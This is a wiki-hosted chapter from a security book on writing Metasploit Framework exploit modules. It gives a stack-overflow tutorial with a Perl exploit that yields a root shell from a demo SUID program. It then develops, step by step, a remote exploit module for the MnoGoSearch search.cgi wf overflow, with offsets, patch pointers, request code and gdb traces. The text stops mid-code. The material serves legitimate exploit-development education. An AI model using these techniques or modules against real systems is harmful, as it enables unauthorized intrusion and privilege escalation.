Network Security Tools/Modifying and Hacking Security Tools/Writing Modules for the Metasploit Framework

From WikiContent

< Network Security Tools | Modifying and Hacking Security Tools
Revision as of 21:39, 11 March 2008 by Docbook2Wiki (Talk)
(diff) ←Older revision | Current revision (diff) | Newer revision→ (diff)
Jump to: navigation, search
Network Security Tools

The Metasploit project was started as a research group for security tool and exploit development. The group's most visible project is the Metasploit Framework (MSF), which is distributed as open source software by its main authors, Spoonm and HD Moore. The latest version of the framework at the time of this writing is 2.2, and you can download it for free at the group's web site, MSF is a modular system of object-oriented Perl. The framework is written for rapid exploit development and to encourage advances in exploit code development. In this chapter we'll focus on MSF and how you can write your own proof-of-concept exploits. We'll discuss the basics of stack overflows, how the framework works, how to write modules to extend the framework's functionality, and how to write an exploit module using MSF.


Introduction to MSF

MSF exists to provide a consistent and all-encompassing exploit development platform. This makes rapid exploit development possible for professionals and researchers. At its core, MSF provides an extensible API and interface for setting variable parameters on an exploit. You can reuse many components between exploits. Examples include payloads, payload handlers, NOP generators, protocol libraries, and encoding routines. MSF comes with a robust assortment of these core components to be reused in exploit development. To facilitate the goals of component reuse and rapid exploit development, all the components and exploits are written using Object-Oriented Perl (OOP) with dynamic loading. As shown later in this chapter, MSF's complex OOP foundation makes developing modules easier.

MSF functions as a bridge between the abstract concept of a "remote exploit" and a user. These concepts are interfaced within the various MSF frontends. The frontends have the task of setting user-controllable parameters and launching exploit modules with complete control over how the exploit is run. MSF comes with three frontend programs to demonstrate the framework's flexibility. msfconsole is a fully interactive subshell interface that you can run from a shell interpreter such as bash or cmd.exe. It is the preferred frontend and is used for all the examples in this chapter. The msfcli command-line interface is ideal for use in scripts. All options and parameters are supplied as arguments on the command line. The msfweb web server interface allows users to access the framework with a standard web browser.

Another goal of the framework is portability. Because MSF is written in the Perl programming language and uses a minimal number of external modules, it works on a wide variety of operating systems.


The framework download page, at, provides a compressed tar archive of the framework source that you can use as is with the Perl interpreters found on Linux/BSD/OSX. Also found on the download page is an installer for Windows. This installs a minimal version of the Cygwin API emulator as well as the framework source. As of MSF version 2.2, if you have previously installed Cygwin you cannot use MSF Cygwin concurrently with the previously installed Cygwin.

When you first look into the MSF install source directory, you will notice that MSF comes with a series of helper utilities that the framework authors provide to help in exploit development and MSF use. Table 5-1 provides a brief description of the programs that come with MSF and explains what is found in the main directories. After extracting the source your first step should be to read the CrashCourse.html file.

Table 5-1. Main MSF files and directories

File or directory Description
data/ Contains files needed for specialized payloads.
docs/ The documentation directory. This should be your first stop for extensive documentation on how to use the frontends and the tools.
encoders/ Contains encoder modules that operate on the payloads. The encoders are usually target-architecture-dependent.
exploits/ Contains all the exploit modules that come with the framework.
extras/ Contains the Net-SSL and Term-ReadLine-Gnu Perl modules. These are not necessary to run MSF, but they are required for SSL socket support and for advanced msfconsole features.
lib/ Contains the MSF core files.
msfcli A command-line interface to the framework. All options and settings are passed as arguments to this program.
msfconsole A text-based console interface to the framework, with tab completion and external command execution functionality.
msfdldebug A helper utility that downloads debugging symbols for Microsoft Windows files.
msfencode A helper utility for testing out the encoder modules. Using this will help you to understand how MSF deals with payload encoding.
msflogdump A helper utility for analyzing the logs generated by the interface.
msfpayload A helper utility for testing out the encoder payload.
msfpayload.cgi A helper utility for testing out the encoder payload. You can move this into a CGI directory and execute it from a web browser.
msfpescan A helper utility that finds opcode matches in a Windows PE executable. These opcodes are often used as return instructions when jumping to shellcode.
msfupdate A helper utility that downloads updates to the framework over HTTPS.
msfweb A web server interface accessible to multiple web browser clients.
nops/ Contains modules that generate "No operation" buffers that are used in exploits to increase their reliability.
payloads/ Contains modules that implement various actions a particular exploit can perform; for example, binding a shell to a TCP socket on the target host.
sdk/ A small tutorial on writing a module for a contrived vulnerability.
src/ Contains various payloads and assembly used in the framework.
tools/ Contains the helper tools Socket Ninja and memdump. Socket Ninja is a multiplexing socket manager and memdump extracts memory segments from running Windows processes.

Overview of Stack Buffer Overflows

Security problems have always been an issue in software. From users abusing time-sharing operating systems in the '70s to the remote network compromises of the current day, software always has—and always will have—security bugs. Starting in the late 1980s a new type of software vulnerability known as overflows began to be exploited. Since then overflows have become the undisputed king of vulnerabilities, accounting for the majority of security advisories in the last 10 years.

What follows is a brief refresher on stack-based buffer overflows and how you can exploit them. This section is intended as an overview only, so feel free to skip ahead if you already have a firm grasp on the subject.

Memory Segments and Layout

In general, today's operating systems (OSes) support two levels of protected memory areas in which processes can run: user space and kernel space. The kernel space is where the core processes of the OS execute. The user space is where user-level processes—such as daemons—execute. A discussion of memory corruption attacks should focus on two areas: kernel space attacks and user-level processes. Kernel space attacks are beyond the scope of this chapter and really aren't what MSF was designed for, so we'll focus on user-space processes. Attacks against these processes can be generalized in local and remote attacks. MSF in general is used to exploit programs that listen for remote network connections, and in the example module later in this chapter, we'll focus on this kind of attack.

Before discussing how to exploit process memory, it is necessary to understand how the virtual memory for user-level processes is organized. The following paragraphs discuss the Linux operating system on the x86 architecture. Many of the general concepts will apply to other operating systems and architectures.

When the OS initializes a process, it maps five main virtual memory segments. Each segment has a specific purpose and can either have a fixed size or grow as needed. Table 5-2 describes each standard" mmory segment in Linux. The code, data, and BSS segments are populated with information from the executable during process initialization. The heap and stack typically have fixed starting positions but then grow according to a program's instructions. It should be noted that wherever a static buffer exists in memory, it can overflow. However, our discussion will focus on stack segment buffer overflows, as they account for the majority of exploited overflows.

Table 5-2. Relevant user-space virtual memory segments

Segment name Description
Code This segment contains the actual instructions the program will execute.
Data This segment contains global and static variables with initialized values.
BSS This segment contains global and static variables that are uninitialized.
Heap This segment is for dynamic memory allocations.
Stack This segment is a memory range for allocation of variables local to a function and is thus dynamic, depending on the function call tree.

When the process has finished initialization, the segments will be ordered, as shown in Figure 5-1.

Figure 5-1. Virtual memory layout of a process

Virtual memory layout of a process

Now that we've looked at and described the memory segments, let's see in exactly which segments the variables in our code will be located. Here is a C code snippet that illustrates the memory regions where the variables will be allocated when the program is run:

int global_initialized = 311;      //located in the data segment
char global_uninitialized;         //located in the bss segment

int main( ){
    int local_int;                         //located on the stack
    static char local_char;        //located in the bss segment
    char *local_ptr;               //located on the stack
    local_ptr =(char *)malloc(12); //local_ptr points to 
                                   //a buffer located on the heap
    char buffer[12];               //entire buffer located on the stack
    return 0;

How a Buffer Overflows and Why It Matters

A process can allocate memory using stack or heap segments. Heaps allow the allocation of memory dynamically using C functions such as malloc( ), but with this comes the overhead of the OS's internal dynamic memory allocation routines. Stacks are more convenient for developers because the declaration syntax is simpler, and there is no overhead from dynamic memory allocation routines of the OS.

A stack is a last-in-first-out (LIFO) queue. The common stack operators are push (to add to the end of the stack) and pop (to remove the last item placed on the stack). These operators are used on the Assembly level by instructions with the same name. The stack is 32 bits wide and usually has a static starting position. Its size is governed by the extended base pointer (EBP) and extended stack pointer (ESP) CPU registers, but it typically grows "down." As it grows, the top of the stack (ESP) gets closer to the lowest virtual memory address, as in Figure 5-2. Also shown in Figure 5-2 is the ESP register, which points to the top of the stack. The EBP register serves a special purpose, as it identifies the start of a stack frame by pointing to the bottom of the current stack frame. A stack frame is an area of memory that holds the local function variables as well as the arguments that were passed to the function that is executing. Stack frames are allocated by subtracting from the value of EBP and moving the bottom of the stack frame up the stack. The program performs these actions using a small series of Assembly instructions known as prolog and epilog.

Figure 5-2. Key elements of the stack segment

Key elements of the stack segment

When a new function is called, the address of the callee's next instruction is pushed onto the stack. This address is where the extended instruction pointer (EIP) should point when the called function returns control to the callee. Then the prolog pushes the callee function's EBP onto the stack and moves the EBP to point to the ESP. As seen in the code snippets in Table 5-3, this creates a new stack frame where space for new local variables can be allocated by simply subtracting from ESP to grow the stack.

Table 5-3. An example C program and its x86 disassembly

Example C program x86 disassembly
1| void example( ){
 1| example:
2|      int i;
 2| push   %ebp
3| }
 3| mov    %esp,%ebp
4| int main( ){
 4| sub    $0x4,%esp
5|      example( );
 5| leave
6| }
 6| ret
 7| main:
 8| push   %ebp
 9| mov    %esp,%ebp
10| sub    $0x8,%esp
11| call   0x8048310 <example>
12| leave
13| ret

In Table 5-3 a new stack frame is created when a new function gets called. Because there are two functions, we'll have two stack frames. In the disassembly, it's possible to identify where new stack frames are created by looking for three things: the prolog, the epilog, and use of the call instruction. Lines 8 and 9 of the disassembly show the prolog for the main function. Lines 2 and 3 show the prolog for the example function.

As the main function starts, the prolog sets up the new stack frame. Then a new frame for the example function begins on line 11. The call instruction pushes a pointer to the next instruction onto the top of the stack. Once in the example function, the function's prolog generates the next stack frame. On line 4, the stack size is adjusted by 4 bytes; this is the space needed to store the integer variable i. Finally, the example function's epilog executes on lines 5 and 6. It essentially reverses the actions of the prolog and erases the stack frame.

The epilog is important because the ret instruction returns control to the calling function. It sets the new instruction pointer based on the value stored on the stack during the call instruction. This is the key to what makes stack overflows so dangerous. Pointers that influence program flow are located on the stack. If these pointers can be overwritten, we can gain control of the program's execution.

Here is a sample C code snippet that takes one user-controlled input and copies it to a fixed-size stack buffer:

/* vuln.c */
int main(int argc, char **argv){
    char fixed_buf[8];
    return 0;

In the following section, the program will be compiled and traced with a debugger to show the overflow process in action. By using a program argument of AAAAAAAABBBBCCCC, we can see how saved EIP (sEIP) is overwritten. Figure 5-3 shows the stack frame before and after strcpy( ) to illustrate the stack's status after the overwrite. Note that the ASCII codes for the characters A, B, and C are 0x41, 0x42, and 0x43, respectively. Also notice that the sEIP is being overwritten with values we control!

Figure 5-3. The stack frame and setup before and after strcpy

The stack frame and setup before and after strcpy


Some compilers align stack buffers differently; depending on your compiler it might take more input to fully overwrite the sEIP with the example value 0x43434343.


The good news is that now we have a way of controlling program flow. At this point we need what is commonly referred to as shellcode . Shellcode is a set of assembly instructions in which program flow can be redirected and perform some functionality. The term "shellcode" was coined to reflect the fact that it contains Assembly instructions that execute a shell (command interpreter), often at higher privilege levels. But where should we place this shellcode? Because we already used our user input buffer to take control of EIP, there is no reason we can't use the same buffer to serve a dual purpose by also including the shellcode directly in the buffer. Because this overflow is occurs in a C-style string, we should write the shellcode to avoid the NULL delimiting byte.

In an ideal world of exploitation, the top of the stack wouldn't move and we could jump to this known location every time. But in the real world of remote exploits many factors affect where the top of the stack will be on program return, so we need a solution for dealing with these variations in where our shellcode will lie.

One way of dealing with this problem is to use what is commonly known as a NOP sled . The NOP assembly instruction performs "no operation." It basically does nothing and has no effect on any CPU registers or flags. What is good about this is that we can prepend our shellcode with a buffer that consists solely of the bytes that represent the NOP instruction; on x86 architecture this is 0x90. This technique compensates for the stack's unpredictability by changing program flow to anywhere within the NOP sled, and the execution will continue up the buffer until it hits the shellcode.

Putting together the concepts we learned so far, we now can construct user input to take control of program execution and run arbitrary shellcode. Figure 5-4 shows what our final buffer for the first program argument will look like.

Figure 5-4. Final construction of the input buffer

Final construction of the input buffer

The known values in this buffer are the shellcode and the NOP sled. For local exploits such as this one, you should use a shellcode that does setuid( ) and exec( ) to spawn the new root-level shell. The aforementioned \x90 character will be used to fill the NOP sled. In our example, the values to be used for the "filler space" buffer can be arbitrary printable ASCII, so we'll use the character A. The final unknown is the new EIP value—that is, the memory location we hope will be within our NOP sled. This new EIP value is commonly known as thereturn . To find it, use a debugger to examine the process memory after using a trace buffer to trigger the vulnerability. We construct a trace buffer so that it is visually easier to find key areas of buffer in memory.

First, compile the executable with debugging symbols:

$ gcc vuln.c -o vuln -g

Next, run the gdb debugger. Once in the gdb shell, run the program with a simple trace buffer generated from the command line using Perl:

$ gdb -q vuln
(gdb) run `perl -e 'print "A"x28 . "1234" . "C"x1024'`
Starting program: /home/cabetas/research/book/vuln `perl -e 
'print "A"x28 . "1234" . "C"x1024'`

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ( )
(gdb) x/x $esp
0xbfff8d60:     0x43434343
(gdb) x/x $esp+1020
0xbfff915c:     0x43434343
(gdb) print ($esp+512)
$1 = (void *) 0xbfff8f60

Note that the buffer's structure is modeled after what our eventual exploit buffer will look like, with the bytes 1234 directly overwriting the sEIP and the Cs representing where our NOP sled will be. Also note that in this example the compiler aligned my buffer in such a way that it took 28 bytes before overwriting sEIP.

The program generates a segmentation fault, which signifies that it attempted to access an unmapped area of memory. This memory location is 0x34333231, the ASCII code equivalent of 4321.

After the program crashes, examine the memory located at the stack pointer (ESP). You'll notice it points to byte values that represent the letter C. If you examine the memory before and after ESP you'll see the buffer actually starts here and the last four-byte block is located at $esp+1020. Because this is where we will eventually place our NOP sled, we want to find a value within this range. We will use the $esp+512 value because it's the midpoint of the buffer, and it has the highest chance of success. Now we have the new EIP value that the exploited program will return to: 0xbfff8f60.

Putting It All Together: Exploiting a Program

All the elements of our exploit buffer are in place: the filler, the new EIP the program will return to, the NOP sled, and our shellcode. It's time to try it out from the command line outside the debugger. Here is a Perl script that generates an exploit buffer using the previously discussed values. Note that the pack( ) function handles the little-endian conversion:

# File:
my $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80".
my $return = 0xbfff8f60;
print "A"x28 . pack('V',$return) . "\x90"x1024 . $shellcode;

The chown and chmod commands are used to set up our example program as a set user ID (SUID) application. These commands cause the program to be executed at the root user's privilege level. This is done to demonstrate the effect of an exploited SUID root program in the wild.

$ su
# chown root:root ./vuln
# chmod +s ./vuln
# exit
$ ls -la vuln
-rwsrwsr-x    1 root     root         5817 Jan 24 05:50 vuln

Now, for the actual exploitation of the program; use the ` (backtick) character to execute the Perl script that generates our exploit buffer. This buffer becomes the first argument to our vulnerable program. As previously mentioned, the overflowed program overwrites the sEIP address to our new return value which should point into our NOP sled. Execution continues up the NOP sled until our shellcode executes, giving us root access.

$./vuln `perl`
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)


If you are using Perl version 5.8.0 or newer with UNICODE support, you should unset the LANG environment variable to ensure that functions such as pack( ) work as expected. Various parts of MSF will fail otherwise. As a test, the following shell command should print the number 4 when your locale settings are correct:

perl -e 'print pack("V",0xffffffff);' |wc -c

Writing Exploits for MSF

Within the framework, each exploit module is a class. MSF dynamically creates an instance of the classes found in the exploits/ directory, as well as those found in $HOME/.msf/exploits/. These classes inherit from the Msf::Exploit class. The Msf::Exploit class has methods you can override in your exploit modules. Overriding a method is simple: declare a method with the same name as the method you want to override. The most common methods to override are Check() and Exploit( ) because these are the core actions your exploits will make. Exploit( ) is special because the framework will call it when a user requests that action from one of the MSF frontends. If the appropriate parameters are set, the payload will be generated using the selected payload, encoder, and NOP generator. Then the Exploit( ) method will be executed, followed by the payload handler, which is the only method that has special actions before and after execution. Check( ) acts in the same way, except it returns an appropriate error code. Table 5-4 provides a list of the methods available for overriding within your custom Exploit modules. These methods are aliases for key values you can set in either $info->Payload{} or $info->Nop{} hashes. If you have values that need to be chosen according to a variable situation, you might want to override the method instead of setting the hashes.

Table 5-4. Msf::Exploit methods that can be overridden

Method name Method description
This is an alias for $info->{Payload}->{'PrependEncoder'}. This will be added to the final payload after the NOP sled, but before the decoder machine code.
This is an alias for $info->{Payload}->{'Prepend'}. This will be added to the final payload directly before the shellcode, and before the encoding happens.
This is an alias for $info->{Payload}->{'Append'}. This will be added to the final payload directly after the shellcode, and before the encoding happens.
This is an alias for $info->{Payload}->{'Space'}. This is the total size of the payload: the NOP sled size plus the decoder size plus the encoded shellcode. The NOP sled will be adjusted according to the space size.
This is an alias for $info->{Payload}->{'BadChars'}. These are the characters the encoder should avoid when generating an encoded payload. The encoder will always err on the side of safety by stopping the exploit if the characters cannot be avoided.
This is an alias for $info->{Payload}->{'MinNops'}. This is the minimum size of the NOP sled. If an Encoder module attempts to generate a NOP sled smaller than this, the exploit will stop and will print an error.
This is an alias for $info->{Payload}->{'MaxNops'}. It is the maximum size of the NOP sled. If an Encoder module attempts to generate a NOP sled larger than this, the exploit will stop and will print an error.
This is an alias for $info->{Nop}->{'SaveRegs'}. This is for the NOP modules to avoid generating NOP-equivalent instructions that affect the variables in this array. For example, if a socket file descriptor was being held in eax you wouldn't want to use the inc eax NOP equivalent.

As shown in the inheritance diagram in Figure 5-5, because your exploit modules will inherit from Msf::Exploit and its parent classes, you'll need to set %info and %advanced with metadata regarding what your exploit requires from the framework.

Figure 5-5. An inheritance diagram of major MSF components

An inheritance diagram of major MSF components

For %info, you can set the following keys:

Descriptive name for your module.
Version number.
An array for listing the module's authors.
An array of the architectures your module supports.
An array of the operating systems your module supports.
A Boolean that states whether your exploit yields privileged access on success.
A hash of arrays. The keys are the names of the options a user can set from a frontend. The first entry in the array is a Boolean that states whether the option is required or optional, the second entry is the variable type, the third is a short bit of descriptive text about the option, and the fourth is a default value. For example:
'UserOpts' =>{ 'RHOST' => [1, 'ADDR', 'The target address']}
A hash that contains options for the payload module. These options were detailed, along with the methods you can use to set them, in Table 5-4.
A hash. The SaveRegs key is an array of registers that the NOP generator should not damage when it uses NOP-equivalent generators.
A description of your module: what it does, how reliable it is, warnings, and so on.
An array of references for you to exploit OSVDB pages, advisories, and so on.
An array of arrays for use in your exploit. The user will set the temporary environment variable TARGET to an integer you can use to index this array. The entries for the array are completely user-defined. If a specific target requires more or less information, you can modify the target accordingly. For example:
'Targets' => [ ['Linux Bruteforce', '0xbffffe13', '0xbfff0000']]
Sets the index in the info->{Targets} array that will be selected as the default.

The other important hash in your exploit modules is %advanced. This hash's keys are advanced options a user would not normally need to modify. Usually, these are for development or fine-grained, detailed configuration. The values comprise an array where the first entry is the default value and the second is a description of the value. Though the purpose of %UserOpts and %advanced is to set exploit parameters, they differ in terms of their behavior. The options in %UserOpts are given types (ADDR, PORT, etc.), and when the %UserOpts values are accessed, they are checked against their stated types for consistency. Because %advanced has no specific type declarations, any value can be set for it. Additionally, %advanced values are not required, and a given exploit should always execute regardless of advanced options being set.

Here is an example of how to declare user-controllable advanced options for an exploit that has a brute-forcing routine:

my $advanced = {
  'StackTop'     => ['', 'Start address for stack ret bruteforcing, empty for defaults from target'],
  'StackBottom'  => ['', 'End address for stack ret bruteforcing, empty for defaults from target'],
  'StackStep'    => [0, 'Step size for ret bruteforcing, 0 for auto calculation.'],
  'BruteWait'    => [.4, 'Length in seconds to wait between brute force attempts']}

An important concept in MSF is the environment system. This can be illustrated best with msfconsole. The variables that are created or modified using the set command are unique to each exploit—that is, they exist in a "temporary environment." Each exploit has a temporary and a global environment. The global variables are set using the setg command and persist across exploit module instantiation. To access these environment variables from exploit modules, use the GetVar() and GetLocal( ) methods. GetVar( ) will search for a variable in this order:

  1. The temporary environment
  2. The global environment
  3. SelfName::Variable (for making a module setting static within the context of an exploit module)
  4. A key in %advanced
  5. A key in %UserOpts

This hierarchy is important to remember. If a global environment variable exists, the temporary environment is searched first. If we explicitly want a module's local variable, we use GetLocal( ), because it has the same search order as GetVar( ) but does not search the global environment.

Writing a Module for the MnoGoSearch Overflow

As mentioned earlier, buffer overflows have historically been the most commonly found security vulnerability in software. We've already seen an example that dealt with how this can be exploited on the local level. Local vulnerabilities require some kind of access to a system. In Unix-like systems this is usually user-level access. Then a local exploit would be used to elevate your privileges from your current access level to that of a higher privilege account, typically root. A remote vulnerability is more dangerous because it allows an attacker to gain an initial level of access to a target host or network via a network-based attack.

Remote vulnerabilities are what MSF was designed for. The payloads, payload handlers, and socket classes are designed for use in writing remote exploit modules. In this section we'll use these features to write a proof-of-concept exploit for a remotely exploitable vulnerability in a CGI program.

CGI programs are executed by web servers and were originally designed for dynamic data display. It is well known that a software system is only as secure as its weakest link. A CGI program normally runs in the context and access permissions of the web server that executed it. Hence, an overflow in a CGI would allow an exploit to gain the privilege level of the web server, normally the "nobody" or "www" users.

Setting Up the Bug

MnoGoSearch for Unix is an open source search engine software project. The primary interface to search the backend metadata is the C program search.cgi. In August 2003, a stack-based buffer overflow was discovered in version 3.1.20 of the CGI program when handling an overly large value for the wf GET parameter. By examining some of the affected code snippets from the search.c source code file, we can study the origin of the problem. In the interest of saving space, we've removed the irrelevant lines and put in line numbers for cross-referencing the original source code.

544  static int PrintOneTemplate(UDM_AGENT * Agent,UDM_DOCUMENT * Doc,char * 
Target,char *s,int where,int ntempl){
902                          if(!strncmp(s,"wf",2)){
903                                  sprintf(UDM_STREND(Target),"%s",wf?wf:"");
904                                  s++;
905                          }else

The UDM_STREND macro finds the end of the string—in this case, Target—which is one of the function's parameters. Then the wf buffer—which comes directly from user-controllable input—is appended to the end of the Target buffer using the sprintf( ) nonbounds checking function. A stack-based buffer overflow can occur when Target is a static-size character buffer declared on the stack. Reviewing the rest of the source code reveals an instance of the ideal conditions for exploitation:

1125    static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){
1126    UDM_TAG tag;
1127    char *s;
1128    int len;
1129    char tmp[UDMSTRSIZ]="";
1142                            PrintOneTemplate(Agent,NULL,tmp,option,where,0); 
1143                        UdmFreeTag(&tag);
1144                       UdmParseTag(&tag,tmp);

The tmp static buffer is passed to the PrintOneTemplate( ) function, which is known to be vulnerable. The apparent effect is that the sprintf() call in PrintOneTemplate( ) will overflow the tmp buffer in PrintOption() .

Our next step in verification is to set up a server with the vulnerable software running. For the vulnerable server we'll use OpenBSD 3.1 running the Apache web server with the search.cgi program compiled and installed in a CGI directory. We'll use the gdb debugger to examine the program from a shell on the server.

To add a time delay that will allow us to find the process and attach to it, we will modify the CGI code. Near the top of the main( ) function in search.c, after the variable declarations, add one line: sleep(10);. This will give us time to catch the program and attach to it with gdb using a command line similar to this:

                  $gdb -q search.cgi `ps ax |grep search.cgi|grep -v grep|awk '{ print $1 }'`

The Evolution of a Working Exploit Module

Once the test bed is set up, write an MSF module to test the vulnerability. This building-block module will slowly evolve to a final working exploit. The module should require that the user supply the appropriate options, which will build an HTTP request with an overly large wf parameter, create a socket, and then send the request:

package Msf::Exploit::mnogosearch_wf;
use strict;
use base "Msf::Exploit";

my $advanced = { };

my $info =
        'Name'          => 'Mnogosearch wf test',
        'Version'       => '$Revision: 1.2 $',
        'Arch'          => [ 'x86' ],
        'OS'            => [ 'bsd' ],
        'Priv'          => 0,
        'UserOpts'      => {
                        'RHOST' => [ 1, 'ADDR', 'The target HTTP server address' ],
                        'RPORT' => [ 1, 'PORT', 'The target HTTP server port', 80],
                        'URI'   => [ 1, 'DATA', 'The target CGI URI', '/cgi-bin/search.cgi' ],
                        'SSL'   => [ 0, 'BOOL', 'Use SSL', 0 ]
        'DefaultTarget' => 0,
        'Targets'       =>
                        # Name 
                        [ 'OpenBSD/3.1' ]

The appropriate metadata information, such as the target operating system, target architecture, some user options, and the target address, has been set. Because this is only a test harness module, there is no need for targeting values.

sub new{
        my $class = shift;
        my $self;
        $self = $class->SUPER::new( { 'Info'=>$info, 'Advanced'=>$advanced, }, @_);
        return $self;
sub Exploit{
        my $self = shift;
        my $targetHost = $self->GetVar('RHOST');
        my $targetPort = $self->GetVar('RPORT');
        my $uri        = $self->GetVar('URI');

A standard new( ) constructor is added so that MSF can create an instance of our mnogosearch_wf class. The Exploit( ) method is overridden for the specific exploit, and local variables have been set based on the options the user supplied at runtime.

       my $request =  "GET $uri?q=abc&wf=" .
                        Pex::Text::PatternCreate(6000) .
                        " HTTP/1.0\r\n\r\n";

        my $s = Msf::Socket::Tcp->new(
                'PeerAddr'  => $targetHost,
                'PeerPort'  => $targetPort,
                'SSL'       => $self->GetVar('SSL'),
        if ($s->IsError) {
} 1;#standard Perl module ending

Finally, build the request using PatternCreate() to generate a trace buffer, initiate a TCP socket using the supplied user options, and send the request to the web server.

We'll save this module as and place it in the ~/.msf/exploits/ directory. Using msfconsole, select the mnogosearch_wf exploit, set the appropriate options to point to the target server, and use the exploit command to send the request.

After running the module, use gdb to attach to the search.cgi process. Set a breakpoint on the vulnerable function and continue to step through it until it processes the wf buffer. This happens on the nineteenth call to the function, so examine what happens at that point:

anomaly$ gdb -q search.cgi `ps ax|grep search.cgi|grep -v grep|awk '{ print $1 }'`
(gdb) break PrintOption
Breakpoint 1 at 0x5250: file search.c, line 1125.
(gdb) continue
(gdb) continue 18
Will ignore next 17 crossings of breakpoint 1.  Continuing.

Breakpoint 1, PrintOption (Agent=0x4f000, Target=0x288b5 "", where=100,
    option=0x86a80 "<OPTION VALUE=\"222210\"  SELECTED=\"$wf\">all sections\n") at search.c:1125
1125    static int PrintOption(UDM_AGENT * Agent,char * Target,int where,char * option){
(gdb) info frame
 Saved registers:
  ebx at 0xdfbf6a08, ebp at 0xdfbf7e50, esi at 0xdfbf6a0c, edi at 0xdfbf6a10, eip at 0xdfbf7e54
(gdb) x/12x &tag
0xdfbf7e2c:     0x00000000      0x00000000      0x74206f4e      0x656c7469
0xdfbf7e3c:     0x00000000      0x400914d3      0x00000480      0x00028430
0xdfbf7e4c:     0x00086a80      0xdfbf7e90      0x0000579f      0x0004f000
(gdb) x/x 0xdfbf7e54
                     0xdfbf7e54:     0x0000579f
(gdb) continue

Program received signal SIGSEGV, Segmentation fault.
0x53e2 in PrintOption (Agent=0x47307047, Target=0x70473170 <Error reading address 0x70473170: Invalid argument>,
    where=862996274, option=0x47347047 <Error reading address 0x47347047: Invalid argument>) at search.c:1154
1154                    sprintf(UDM_STREND(Target),"<OPTION VALUE=\"%s\"%s>",tag.value,
(gdb) x/16x 0xdfbf7e2c             #Examining memory of from "tag" through "Target"
0xdfbf7e2c:     0x00087930      0x00000000      0x00000000      0x00000000
0xdfbf7e3c:     0x00087940      0x00084000      0x00000000      0x00000000
0xdfbf7e4c:     0x00000000      0x6f47376f      0x396f4738      0x47307047
0xdfbf7e5c:     0x70473170      0x33704732      0x47347047      0x70473570
(gdb) x/x 0xdfbf7e5c               #The Target Parameter which caused the SIGSEGV
0xdfbf7e5c:     0x70473170
(gdb) x/x 0xdfbf7e5        4#The new sEIP value
0xdfbf7e54:     0x396f4738

Examining memory around the tag variable shows the state of the stack frame before the call to PrintOneTemplate() and before the overflow gets triggered. The info frame command gives user information regarding registers saved on the stack, including the all-important EIP register. Examine the memory location to track how this important location is affected. After continuing past the overflow trigger point, the program receives a segmentation fault signal, but not from an invalid EIP, as we might expect. As it turns out, the sprintf() function on line 1,154 (which comes after our overflow but before the function return) needs a parameter that points to a mapped memory location to perform its operations. We'll have to keep this in mind as the overflow is examined in more detail.

Even though the segmentation fault was not a direct result of an invalid EIP, the final x/x command shows the sEIP has indeed been overwritten. You can use the MSF tool to find the offset to sEIP. Using the overwritten sEIP of 0x396f4738, the tool shows the offset to overwrite sEIP is 5126.

Using this new information, modify exploit code to get through the function and reach the return. The strategy will be to leave the Target parameter unchanged so that the sprintf( ) succeeds. The request now becomes:

        my $request =  "GET $uri?q=abc&wf=" .
                        Pex::Text::PatternCreate(5126) .
                        "1234". #overwritten sEIP
                        " HTTP/1.0\r\n\r\n";

With this modification, again run the exploit and trace the process:

(gdb) continue

Program received signal SIGSEGV, Segmentation fault.
0x53e2 in PrintOption (Agent=0x6c613e22, Target=0x6573206c <Error reading address 0x6573206c: Invalid argument>, 
    where=1869182051, option=0xa736e <Error reading address 0xa736e: Invalid argument>) at search.c:1154
1154                    sprintf(UDM_STREND(Target),"<OPTION VALUE=\"%s\"%s>",tag.value,
(gdb) x/x 0xdfbf83c8
0xdfbf83c8:     0x34333231   #the sEIP appears to have been overwritten as indented
(gdb) x/s Target
0x6573206c:     Error accessing memory address 0x6573206c: Invalid argument.
(gdb) x/s &Target
                  0xdfbf83d0:      "l sections\n"

It seems the Target parameter is being overwritten by a string we didn't specify. Examining the source code reveals that it is being appended in PrintOneTemplate(). This presents a common problem in exploit development: how to reach the function return if a call within that function crashes as a result of modifying other local variables during our overflow attempt. The solution to this common problem is memory patching. If sprintf( ) needs Target to be a valid pointer, give it what it needs to work. This same type of problem also occurs on line 1156, as was noticed on the first test run. Because of how the variables and parameters are ordered on the stack, it is necessary to patch all function parameters for a reliable exploit.

Examining the mapped memory, we look for a range that is mapped so that we can point our parameters there. Any arbitrary valid memory location that can be written to without a segmentation fault will do, so choose one, modify the exploit's request, and trace again:

        my $ptr = 0xdfbf6f6f;
        my $request = "GET $uri?q=abc&wf="         .
            Pex::Text::PatternCreate(5126)         .
            "1234"                              .              #seip
            $ptr x2                                        .              #(Agent, Target,
            pack("V",0x01020304)                          .              #where,
            $ptr                                                .        #option)
            " HTTP/1.0\r\n\r\n";

Back to the debugger on the server...

Saved registers:
  ebx at 0xdfbf70ac, ebp at 0xdfbf84f4, esi at 0xdfbf70b0, edi at 0xdfbf70b4, eip at 0xdfbf84f8
(gdb) x/16x &tag
0xdfbf84d0:     0x00086930      0x00000000      0x00000000      0x00000000
0xdfbf84e0:     0x00086940      0x00084000      0x00000000      0x00000000
0xdfbf84f0:     0x00000000      0x6f47376f      0x34333231      0xdfbf6f6f
0xdfbf8500:     0xdfbf6f6f      0x01020304      0xdfbf6f6f      0x6c613e22
(gdb) x/x 0xdfbf84f8
0xdfbf84f8:     0x34333231
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x34333231 in ?? ( )
(gdb) info registers eip
eip            0x34333231       0x34333231

And that is what we're looking for: a segmentation fault on an EIP that was explicitly controlled. At this point the offset to overwrite sEIP has been reached, and some simple memory patching was done to get the function to return to a specified EIP (in this case, the dummy value 1234 was used). The final step to complete our exploit is to place the payload somewhere in memory and to use a memory location in a NOP sled to reach the shellcode. It should be noted that UdmParseTag( ) modifies the tmp buffer after the overflow point, so you shouldn't use that. A better option is to use the environment variables that get passed to the CGI because their location is fairly consistent. By setting the HTTP cookie header to a large value and doing another trace, you can locate the HTTP_COOKIE environment variable. On this system HTTP_COOKIE started at 0xdfbfa28d, so we'll use a large NOP sled of about 4KB and find a return address to hit it. Any return value that falls within the range will work. In this case, 0xdfbfadcd was chosen as the return address to overwrite the sEIP and to take control of process execution flow.

With this new information the Exploit( ) method should be modified appropriately. Also, add a target to the exploit so that a user can choose the memory patch pointer and return address:

       'Targets'       =>
                        # Name              Ret         Patch pointer
